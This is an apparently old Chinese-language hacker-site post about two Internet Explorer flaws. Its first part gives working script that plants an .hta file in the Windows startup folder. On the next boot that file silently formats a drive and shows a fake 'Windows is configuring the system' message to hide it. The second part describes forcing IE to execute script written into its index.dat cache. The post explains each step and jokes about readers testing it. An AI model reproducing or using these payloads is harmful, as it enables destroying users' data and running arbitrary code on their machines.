Internet Explorer代码可以格式化本地硬盘
先前的文章我们解释了hta(HTML application)在Web页面中是怎么在别人访问站点的时候
攻击你的机器。现在,又有了个新的危险的例子,但这个例子里,攻击的对象只是作者自
己,千万不要拿别人的宝贝机器来做你的实验品~~~~
用下面的代码(注意,这些代码是For Spanish Windows'98.要想让它在中文或是英文版本
下运行,得做写改动,具体得自己动手啦~~~~)
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">>
</object>
<SCRIPT>>
scr.Reset();
scr.Path="C://windows//Men?inicio//Programas//Inicio//automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
</object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');
alert('IMPORTANT : Windows is configuring the system. Plasedo
not interrupt this process.');</"+"SCRIPT>";
scr.write();
代码的作者就把自己的D:,A:给格式化了,我嘛,还不敢试,哪位大哥够胆量的就
帮小弟玩玩。
这个代码是按如下工作的:
1) 用start /m (Spanish Win98 版本),这个程序以最小化的方式运行,所以用户不大会
发现到。
2) 用上参数 /autotest,它可能会在某个驱动器上自动运行Format.com(不会问你Y/N的哦)
3) 接着,就会有提示的message告诉你,"IMPORTANT : Windows is configuring the
system. Pleasedo
not interrupt this process."
这些都会隐藏最小化窗口里的Format信息。当然,它也会因为这个程序而会被发现。
很明显,这个漏洞是很危险的。想想你的drive里的好东东一下都没了,呵呵,哭也来不
及了~~~
IE 5.5 (可能包括其他版本) 在本地文件index.dat中保存最近访问过的URLs以及其
他缓存信息,index.dat在本地硬盘上的位置一般固定:
Windows 9x:
C:/WINDOWS/Temporary Internet Files/Content.IE5/
Windows 2000:
C:/Documents and Settings/USERNAME/Local Settings/Temporary Internet Files/Content.IE5/
该文件处在IE安全机制保护下,但是有可能通过在URL链接中包含脚本命令而向该文
件写入一些内容。尽管这些内容可能由于当前URL链接所对应的安全限制,无法立即
得到执行,但是直接访问本地index.dat文件的时候机会就来了。为此要求IE支持对
非HTML文件的解释执行。微软在MS00-055公告里发布了一个关于解释执行非HTML文件
的补丁,但仍有可能迫使IE解释执行非HTML文件:
<OBJECT TYPE"text/html" DATA"file://c:/.../index.dat"></OBJECT>
于是任意代码都可能最终得到执行,比如确定缓存文件夹的名字,攻击者可以执行以
前下载过的文件。
<* 来源:Georgi Guninski (guninski@guninski.com) *>
测试程序:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Georgi Guninski 提供了如下演示页面以及他的建议:
http://www.guninski.com/parsedat.html
这个测试页面只对Win9X有效。